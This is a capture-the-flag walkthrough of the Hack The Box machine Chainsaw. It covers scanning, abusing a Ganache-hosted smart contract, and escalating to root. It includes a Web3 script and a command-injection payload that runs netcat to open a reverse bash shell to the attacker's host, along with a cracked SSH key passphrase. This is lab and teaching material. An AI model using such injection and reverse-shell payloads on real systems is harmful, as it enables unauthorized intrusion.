This post documents the complete walkthrough of Chainsaw, a retired vulnerable VM created by artikrh and absolutezero, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post

Background

Chainsaw is retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

# masscan -e tun0 -p1-65535,U:1-65535 10.10.10.142 --rate=1000              

Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-06-19 01:43:05 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 9810/tcp on 10.10.10.142
Discovered open port 21/tcp on 10.10.10.142
Discovered open port 22/tcp on 10.10.10.142

9810/tcp sure looks interesting. Let’s do one better with nmap scanning the discovered ports to establish their services.

# nmap -n -v -Pn -p21,22,9810 -A --reason -oN nmap.txt 10.10.10.142
...
PORT     STATE SERVICE REASON         VERSION
21/tcp   open  ftp     syn-ack ttl 63 vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 1001     1001        23828 Dec 05  2018 WeaponizedPing.json
| -rw-r--r--    1 1001     1001          243 Dec 12  2018 WeaponizedPing.sol
|_-rw-r--r--    1 1001     1001           44 Jun 18 20:49 address.txt
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.10.14.122
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 7.7p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 02:dd:8a:5d:3c:78:d4:41:ff:bb:27:39:c1:a2:4f:eb (RSA)
|   256 3d:71:ff:d7:29:d5:d4:b2:a6:4f:9d:eb:91:1b:70:9f (ECDSA)
|_  256 7e:02:da:db:29:f9:d2:04:63:df:fc:91:fd:a2:5a:f2 (ED25519)
9810/tcp open  unknown syn-ack ttl 63
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.1 400 Bad Request
|     Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, User-Agent
|     Access-Control-Allow-Origin: *
|     Access-Control-Allow-Methods: *
|     Content-Type: text/plain
|     Date: Wed, 19 Jun 2019 01:48:39 GMT
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.1 400 Bad Request
|     Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, User-Agent
|     Access-Control-Allow-Origin: *
|     Access-Control-Allow-Methods: *
|     Content-Type: text/plain
|     Date: Wed, 19 Jun 2019 01:48:32 GMT
|     Connection: close
|     Request
|   HTTPOptions:
|     HTTP/1.1 200 OK
|     Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, User-Agent
|     Access-Control-Allow-Origin: *
|     Access-Control-Allow-Methods: *
|     Content-Type: text/plain
|     Date: Wed, 19 Jun 2019 01:48:33 GMT
|_    Connection: close

Hmm. No luck with 9810/tcp. What the heck, since anonymous FTP is available, we’ll go with that first.

Anonymous FTP

There are three files in there. Let’s grab all of them.

879b18cc.png

WeaponizedPing.sol
pragma solidity ^0.4.24;

contract WeaponizedPing
{
  string store = "google.com";

  function getDomain() public view returns (string)
  {
      return store;
  }

  function setDomain(string _value) public
  {
      store = _value;
  }
}

Turns out that WeaponizedPing.sol is a smart contract written in Solidity. Ethereum huh…

Ganache CLI

Despite not knowing anything about Ethereum, I was able to tease out the fact that 9810/tcp was running Ganache CLI.

# printf "$(curl -s -H "Content-Type: application/json" -d '{}' http://10.10.10.142:9810 | jq . | sed '6!d' | cut -d':' -f2- | sed -e 's/ "//' -e 's/",//')\n"
Error: Method undefined not supported.
    at GethApiDouble.handleRequest (/usr/local/lib/node_modules/ganache-cli/node_modules/ganache-core/lib/subproviders/geth_api_double.js:66:16)
    at next (/usr/local/lib/node_modules/ganache-cli/node_modules/ganache-core/node_modules/web3-provider-engine/index.js:116:18)
    at GethDefaults.handleRequest (/usr/local/lib/node_modules/ganache-cli/node_modules/ganache-core/lib/subproviders/gethdefaults.js:15:12)
    at next (/usr/local/lib/node_modules/ganache-cli/node_modules/ganache-core/node_modules/web3-provider-engine/index.js:116:18)
    at SubscriptionSubprovider.FilterSubprovider.handleRequest (/usr/local/lib/node_modules/ganache-cli/node_modules/ganache-core/node_modules/web3-provider-engine/subproviders/filters.js:89:7)
    at SubscriptionSubprovider.handleRequest (/usr/local/lib/node_modules/ganache-cli/node_modules/ganache-core/node_modules/web3-provider-engine/subproviders/subscriptions.js:136:49)
    at next (/usr/local/lib/node_modules/ganache-cli/node_modules/ganache-core/node_modules/web3-provider-engine/index.js:116:18)
    at DelayedBlockFilter.handleRequest (/usr/local/lib/node_modules/ganache-cli/node_modules/ganache-core/lib/subproviders/delayedblockfilter.js:31:3)
    at next (/usr/local/lib/node_modules/ganache-cli/node_modules/ganache-core/node_modules/web3-provider-engine/index.js:116:18)
    at RequestFunnel.handleRequest (/usr/local/lib/node_modules/ganache-cli/node_modules/ganache-core/lib/subproviders/requestfunnel.js:32:12)
    at next (/usr/local/lib/node_modules/ganache-cli/node_modules/ganache-core/node_modules/web3-provider-engine/index.js:116:18)
    at Web3ProviderEngine._handleAsync (/usr/local/lib/node_modules/ganache-cli/node_modules/ganache-core/node_modules/web3-provider-engine/index.js:103:3)
    at Timeout._onTimeout (/usr/local/lib/node_modules/ganache-cli/node_modules/ganache-core/node_modules/web3-provider-engine/index.js:87:12)
    at ontimeout (timers.js:498:11)
    at tryOnTimeout (timers.js:323:5)
    at Timer.listOnTimeout (timers.js:290:5)

According to its GitHub repository,

Ganache is your personal blockchain for Ethereum development.

After some reading and research, I got to know that ganache-cli, by default, automatically creates 10 accounts associated with 10 private keys. Each account has 100 ethers for testing purpose. It also exposes the JSON RPC API.

Gaining a Foothold

We need something to interact with the WeaponizedPing contract deployed in Ganache-CLI.

Enter Web3.py.

Towards that end, I wrote the following Python script.

weapon.py
#!/usr/bin/env python3

from web3 import Web3, HTTPProvider
import json, sys

contract_data = json.loads(open('WeaponizedPing.json').read())
contract_addr = open('address.txt').read().rstrip()

w3 = Web3(HTTPProvider('http://10.10.10.142:9810'))
account = w3.eth.coinbase

weapon = w3.eth.contract(address=contract_addr, abi=contract_data['abi'])
weapon.functions.setDomain(sys.argv[1]).transact({"from":account,"to":contract_addr})
weapon.functions.getDomain().call()

To test it out, I set up tcpdump to listen on tun0 for any ICMP traffic. In a separate terminal, run ./weapon.py <my_htb_ip>.

3ee3bf3f.png

Exactly one ping request is seen. I think I know what’s going on here. Let’s do it this way then.

# ./weapon.py '; nc 10.10.14.122 1234 -e /bin/bash'

183b8df7.png

Bam. A reverse shell appears!

Low-Privilege Shell

Now that we have a low-privilege shell, it’s time to find user.txt.

Getting user.txt

If I have to guess, I would say that user.txt is in bobby’s home directory. Too bad I don’t have access to it.

d73f8a84.png

During enumeration of administrator’s account, I notice pub appears to be carrying all the SSH public keys belonging to bobby and the rest of the “users”. They were apparently generated by gen.py, given that their last-modified dates were identical.

96e36d39.png

From the code of gen.py, I should have bobby.key (SSH private key) but it’s nowhere to be found. It was at this moment, I saw .ipfs at administrator’s home directory.

49668d8b.png

I did a simple recursive grep for bobby and see what I found.

bd5371c6.png

Jackpot! One of the ipfs blocks is holding an email with bobby’s private key as attachment.

5c91b9b8.png

Let’s extract the email and see what it says.

41cfa929.png

Here’s how bobby.key looks like.

40e7ac8c.png

Time to show John the Ripper some :heart:

347106a0.png

The password is jackychain. Just as expected, user.txt is indeed in bobby’s home directory.

f82b2e82.png

Privilege Escalation

During enumeration of bobby’s account, I noticed something interesting.

Getting root.txt

There’s a projects directory in bobby’s home directory. It appears that there’s another Ganache-CLI instance and we need to call another contract function as well.

34a387c8.png

pragma solidity ^0.4.22;

contract ChainsawClub {

  string username = 'nobody';
  string password = '7b455ca1ffcb9f3828cfdde4a396139e';
  bool approve = false;
  uint totalSupply = 1000;
  uint userBalance = 0;

  function getUsername() public view returns (string) {
      return username;
  }
  function setUsername(string _value) public {
      username = _value;
  }
  function getPassword() public view returns (string) {
      return password;
  }
  function setPassword(string _value) public {
      password = _value;
  }
  function getApprove() public view returns (bool) {
      return approve;
  }
  function setApprove(bool _value) public {
      approve = _value;
  }
  function getSupply() public view returns (uint) {
      return totalSupply;
  }
  function getBalance() public view returns (uint) {
      return userBalance;
  }
  function transfer(uint _value) public {
      if (_value > 0 && _value <= totalSupply) {
          totalSupply -= _value;
          userBalance += _value;
      }
  }
  function reset() public {
      username = '';
      password = '';
      userBalance = 0;
      totalSupply = 1000;
      approve = false;
  }
}

Let’s use what we’ve learned from the previous contract and apply it.

9e6c2e42.png

Time to set a username and password I control, and see if I can bypass the ChainsawClub executable.

16bcdc36.png

Suffice to say, I need to approve the user and supply some lubricants :wink:

61e9148a.png

I couldn’t believe my eyes when I saw the root prompt. Good advice because if you go look for root.txt, this is what you see.

e91f66a0.png

Damn. What does it even mean? I’m going to put on my forensics hat and take things one step at a time. First of all, root.txt was last modified on Jan 23, 2019 at 0904hrs.

f818f665.png

Let’s see what executables were accessed within that timestamp. We first create a last-accessed timestamp with touch.

touch -at "201901230904" /tmp/stamp

651b8784.png

What’s bmap? Googling for “bmap hide” brought me to this.

5ed5ea69.png

I see what’s going on. The real root flag must be hidden in the slack space of root.txt.

91d762c7.png

:dancer: